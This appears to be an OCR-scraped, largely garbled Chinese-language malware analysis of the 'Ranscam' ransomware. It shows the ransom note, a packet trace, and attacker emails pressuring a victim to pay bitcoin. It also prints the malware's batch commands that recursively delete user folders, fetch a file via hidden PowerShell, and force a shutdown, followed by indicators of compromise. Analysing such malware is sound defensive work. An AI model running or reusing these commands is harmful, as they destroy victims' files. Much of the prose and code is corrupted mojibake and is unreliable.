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YOU MUST PAY BITCOINS TO UNLOCK YOUR COMPUTER

YOUR FILES HAVE BEEN MOVED TO A HIDDEN PARTITION AND CRYPTED.
ESSENTIAL PROGRAMS IN YOUR COMPUTER HAVE BEEN LOCKED
AND YOUR COMPUTER WILL NOT FUNCTION PROPERLY.

YOUR BITCOIN PAYMENT ADDRESS IS: nyer
1G6tQeWrwp8TU1qunLjdNmLTPQu7PnsMYd EY)

[COPY THE ADDRESS EXACTLY / CASE SENSITIVE] BTC
[CONFIRM PAYMENT BELOW TO UNLOCK COMPUTER AND FILES]
IF YOU DO NOT HAVE BITCOINS VISIT WWW.LOCALBITCOINS.COM TO PURCHASE

IF YOU HAVE MADE THE BITCOIN PAYMENT CLICK BELOW TO UNLOCK YOUR COMPUTER AND FILES
I MADE PAYMENT

LOCK MY CO ‘
AND UNLOCK MY COMPUTER

Submit
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https://1.bp.blogspot.com/-fLTF8BvHqlI/V4OPpkX-BAI/AAAAAAAAAFc/OK5791H4_Jw4FZ9n8NYVqdTJx-RxfWR1gCLcB/s1600/RansomNote.tiff

YOU MUST PAY BITCOINS TO UNLOCK YOUR COMPUTER

YOUR FILES HAVE BEEN MOVED TO A HIDDEN PARTITION AND CRYPTED.
ESSENTIAL PROGRAMS IN YOUR COMPUTER HAVE BEEN LOCKED
AND YOUR COMPUTER WILL NOT FUNCTION PROPERLY.

YOUR BITCOIN PAYMENT ADDRESS IS:
1G6tQeWrwp8TU1qunLjdNmLTPQu7PnsMYd

[COPY THE ADDRESS EXACTLY / CASE SENSITIVE]
|[COMFIRM PAYMEMT BELOW TO UNLOCEK COMPLUTER AMND FILES]
IF YOU DO NOT HAVE BITCOINS VISIT WWW. LOCALBITCOINS.COM TO PURCHASE

IF YOU HAVE MADE THE BITCOIMN PAYMENT CLICK BELOW TO UMLOCE YOUR COMPUTER AMD FILES

PAYMENT NOT VERIFIED
YOU HAYE NOT PALD

OME FILE WILL BE DELETEL>

BsEfrl, ZEERESERBEMEHEAN HTTP GET &K, LUKEA T8 IE T 200
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514 48. ?3-’1959 191 168.46.171 285. ‘}.-!l-li 1?1 114 HTTP 4ﬂ5 GEI' fverify.png H'ITF"‘.fl 'l

523 48.B88986 285.144.171.114 192.168.46.171 HTTP 942 HTTP/1.1 28@ OK (PNG)
734 57,329751 192.168.46.171 205.144.171.114 HTTP 424 GET /nopay.png HTTP/1.1
758 57.5040819 285.144.171.114 192.168.46.171 HTTP B54 HTTP/1.1 28@ OK (PNG)
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https://4.bp.blogspot.com/-GI45LsXlTUk/V4OQBi0wJvI/AAAAAAAAAFg/CAzgbb0AWq8ntx-S2-KL4HIBIMHtm3RmwCLcB/s1600/RansomNote-Threat.tiff
https://1.bp.blogspot.com/-5HElPgC7hJw/V4OQONfOWbI/AAAAAAAAAFk/e3Ij-F7nuVgjiFShMT64syr-mtoGtzTsQCLcB/s1600/verify-packet-trace.tiff
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General  Advanced I

Signature details:

owmen@reca.net, www.reca.net, Suppo...

Serial niimbes 00 8f &7 &5 le 61 7a 60 of
Ciigest algorithm shal
Digest encryption agorithm  RS&
Authenticated attributes

1,3.6,1.4.1.311,2,1,12 3000

Lorgent Type 06 0w 2b 06 01 04 01 82 370201 04

Message Digest M 14d2fFcBdaS093fade Zbec 63 7...
Unauthenticated attribubes

Counter Sign 082010201 0130763062 31 0b ...

Value:

E = orner@veca, nst -
T = v, reca. net
O = Support Depl
0 = Rech
H

L = Cologne
5 = Sorkil
i~ = MIF
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\AppData\Roamingiwinstrsp.exe”|
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cmd. exe o C:'I,I_Isers-.ﬁ.ppDaI:a'l,Ln:n:aI'l,Temp'l,m.ﬁ.'EISE.I:naI: "C:'I,Llsers- #I
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Copy | Close

ZHA B S BAZEEXHRRETNLAHR, TREMPEEXHRXXHRFILD
EEXHNAEFER, PTTEHIEMBEZEZNXH, MESMBREHASR.

@echo off

set folder="%USERPROFILE%\Documents'*"

cd /d %folder%

for /F "delims=" %%i in ('dir /b') do (rmdir

@echo off

set folder="%USERPROFILE%\Downloads\*"

cd /d %folder%

for /F "delims=" %%i in ('dir /b') do (rmdir

@echo off

set folder="%USERPROFILE%\Pictures\*"

cd /d %folder%

for /F "delims=" %%i in ('dir /b') do (rmdir

@echo off

set folder="%USERPROFILE%\Music\*x"

cd /d %folders

for /F "delims=" %%i in ('dir /b') do (rmdir

"ski" /s/q || del "w%i" /s/q)

ngsit /s/q || del "S%i" /s/q)

Il*%ill I'IFSJIFq |I de'l Il%ill fS-.irq]

si /s/q || del "s%i" /s/q)


https://1.bp.blogspot.com/-8QXurC0NGqE/V4ORYaGRDmI/AAAAAAAAAGI/pr3kSwd-2_0ULNGsSH9KGWX8NyyDqbb8ACKgB/s1600/batch-process.tiff
https://4.bp.blogspot.com/-SZMktVgDEBI/V4ORpq5W_qI/AAAAAAAAAGQ/bKAAG6zYBXkdzPSAtY2KLFR3_CVHpPiAgCKgB/s1600/file-delete.tiff
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@echo off
C:\Windows\System32\WindowsPowerShell\wvl.@\powershell.exe -ExecutionPolicy bypass —-noprofile —-windowstyle

hidden [New-0Object System.Net.WebClient).DownloadFile("https://s3-us-west—1.amazonaws.com/docs.pdf/anon.jpg
', "%USERPROFILE%\Desktop\Payment_Instructions.jpg');: cmd fc "SUSERPROFILE%\Desktop\Payment_Instructions.jpg’
timeout St 208 Snobreak
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@echo off

C:\Windows\System32\shutdown.exe -s -t 60 —c "Shutting Down In 6@ Seconds."
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File Size Last Modified
&] check.html ZKB Jul 0B 2016 04:42:50 P
& contact-form-handler.php KB Jul 06 2016 03:32:12 FiM
@] contact-form-thank-you.html KB Jul 07 2016 07:04.33 Fi
&) contact-form.html 2KB Jul 06 2016 04:43:16 FiM
@] contactform.htm KB Jul OF 2016 O07:11:04 Phd
&) contactform.html KB Jul OB 2016 02:07:52 Fi
&] ct.html KB Jul 07 2016 12:03:45 A
&) ct2.html KB Jul 07 2016 12:32:49 A
= default.php ke Jul 0B 2016 02:02:07 Fhd
& email.php KB Jul 07 2016 01:06:45 A
&) payment.htm| OB Jul 06 2016 04:51:43 P
= send_form_email.php 2KB Jul 0B 2016 07:31:55 P
@] test.html il =) Jul 0B 2016 04:33:55 Fh

&] verify.html Z2KB Jul 0B 2016 05:05:15 P


https://2.bp.blogspot.com/-R5T_--Q27vQ/V4OSFYhSfPI/AAAAAAAAAGU/J_7KJKOaGngfEKdifBnWSbhx9O9LNVtZwCKgB/s1600/ransom-note-powershell-dl.tiff
https://1.bp.blogspot.com/-OtykYlJTTGQ/V4OTzML3rkI/AAAAAAAAAGc/zGcKRNwZOREXFT0uBSfwu3LpndC-5kILwCLcB/s1600/image06.png
https://3.bp.blogspot.com/-w6V7DIzLR4g/V4OUC9EsPjI/AAAAAAAAAGg/oaj93fbE9xMssrq_sElL-meXlxs3ER9vACLcB/s1600/webserver-file-listing.tiff
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Crypto Wab <cryplovinus2 3l gmeal come= 4:43 PM {36 minutes aga) - *
o me (=

Tor unkeck yaur compataer wou must make a paymant of o2 Bitooing 1o the sddress Below,

1GEeWrwWoE T gunLjdMmLTROUTFneMyd
Thes Bisiast way is 1o visil www localbibooing. com and purchas: 0.2 BTC.

Ragistar free at www Incaliteoing com

We recormend you lodk for the least expensive saller, Usually thaga who accapl payment by cash in person, cash daposll or bank transfer are the leas!
EXpensia.

Plivce the offier and follow their instructions for payment. They usually requine a pholo of the deposs, fransfer | slc,
Onca they varify payment they will releasa the coing which ware placed in escrow 1o your account. This happens very quicky.
Copy and paste the addrass soove and send the colrs to that sddress. The transfar (s instant.

Tum an yeur campuber and click WERIFY® on the seresn. Your payment will be veeified and the compubar will sutomalically rastars your files and tha vimg
will delate Bsnlf,

1 wou nead help mply to this emall.

TR, BRITREXXZEEESIER N RABRRIHK, FELEXPEMHLES .

Charles NCharge <charlasncharge1 984 @grmail. com= 8:28 PM (4 minules ago) L v
o Cryplo -

Thank goodness I'm o lost with this stefl, | doa't know what any of that is oF how mueh it costs bul | would like my compuber back. | have pictures of my
family and | can't get tham to anymora!! |5 there some place where | can send my information o or is there a telephone that | can reach to help me??7 |
don't know what | did but my davghter's computer is not showing this crazy sereen 50 what should | do? Please halp me get my pictures back!INN they're
imparant!!

JUNBTRE, BB TIATEE, BEEHTH-PHRE, URIERNEEZRRITEL
A [E) 45 %ﬁuﬁ XY “BR” EZil.

Crypto Web 10:40 PM {3 hours aga) -

by e =

Just go o localbitcoins.com and register free. The site will automatically recognize your city and tsll you which sellers are close to you. Select the cheapest

seller under cash deposit. make tham and offer for 0.2 bic. It will automatically tell you the price, Somewhere around 5125 usd. Follow theis instructions, Its

usually io make the cash deposit and upload a pictura of the recaipt. The coins are placed in escrow whan you make the offer 5o as scon as you upload the
picture of the deposit it is verilied and the coins released to you, Just copy and paste the following address under the send coins tab and thats it Go lo your
computer click werify and all raturns to normal on your computar.

If you are doing this on & Saturday | recommend you do the offer and payment early because most banks close by 1pm on saturdays.
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https://4.bp.blogspot.com/-Ccy_eC6IQWs/V4OURaKw7II/AAAAAAAAAGk/d1PohdPegXgSBr0fcOI2zyW62qT5GO6-gCLcB/s1600/Initial-Email_response.tiff
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Ranscam &M, AT EERRMBERMLEE. NLENAREFERIEZ/ECHBEN
(MAXFANERAME, RBRBRZEEMNTK) . FREAMMNARTER#IXEZESE
X E R T E

Ranscam KEHERMATFIRBT 2. BERi=R S IR A U BIRERE K SRR B ED0.
Ranscam ERHIEHEHFNMRRGABIMRETBHNEE. I EEEAHRTINKEE
ZRIMETENMERRYE. RAXFREEMS, XUNFER—MKEEREIMEENT
H, MAR—NERNKEED. Ranscam NEEFNEMEZTEE T, MARBTHET
R EERHAREmEANERLY, MNEZREX—SWIEME
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VHBR, MEFEEEEFAXAENEES. XAMTHREAVIETRGEEBAKIER, Ei)
RAFERA—LRHEEREE . FARMFER.
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BRE A EM AN FH Rt B, BE:

SREEREREF (AMP) fRAEZRT LAY LEHITEN & 2 & 5 A EER .

CWS 5t WSA B Web FAEThEe ] LABE LTI E MY, H4&M X L i+ B A BE =8 .
IPS 1 NGFW BIME R EMIPTEE B RN R E, AT LUNIE N & & BB E M ISR
ESA AT LA EBIN & o & TR T AR P & 1 B E B TR .

BERI (10C)
EVCLIE

9541fadfaOc779bcbae5f2567f7b163db9384b7f6d44f525fea3bb2322534de  (SHA256)
7a22d6a14a600eee1c4de9716¢3003e92f002f2df3e774983807a3f86ca50539 (SHA256)
B3fd732050d9b0b0f32fafb0c5d3eb2652fd6463e0ec91233b7a72a48522f71a (SHA256)

el R EA -

s3-us-west-1[.]Jamazonaws[.Jcom 54.231.237.25
crypted[.]site88[.]net 31.170.162.63
publicocolombiano[.Jcom 192.185.71.136
www/[.]waldorftrust[.]Jcom 205.144.171.114
cryptoglobalbank[.]Jcom 31.170.160.179
B ST

%APPDATA%%\winstrsp.exe
% T TEMP%\winopen.exewinopen.exe


http://www.cisco.com/c/en/us/support/security/amp-firepower-software-license/tsd-products-support-series-home.html
http://www.cisco.com/c/en/us/products/security/cloud-web-security/index.html
http://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html
http://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html
http://www.cisco.com/c/en/us/products/security/asa-next-generation-firewall-services/index.html
http://www.cisco.com/c/en/us/products/security/email-security-appliance/index.html
https://2.bp.blogspot.com/-tisuEMltAhc/V3WkcWaQY3I/AAAAAAAAALA/QiWgnlGkrXs8981242iEusx21V20o3QXQCLcB/s1600/coverage.png
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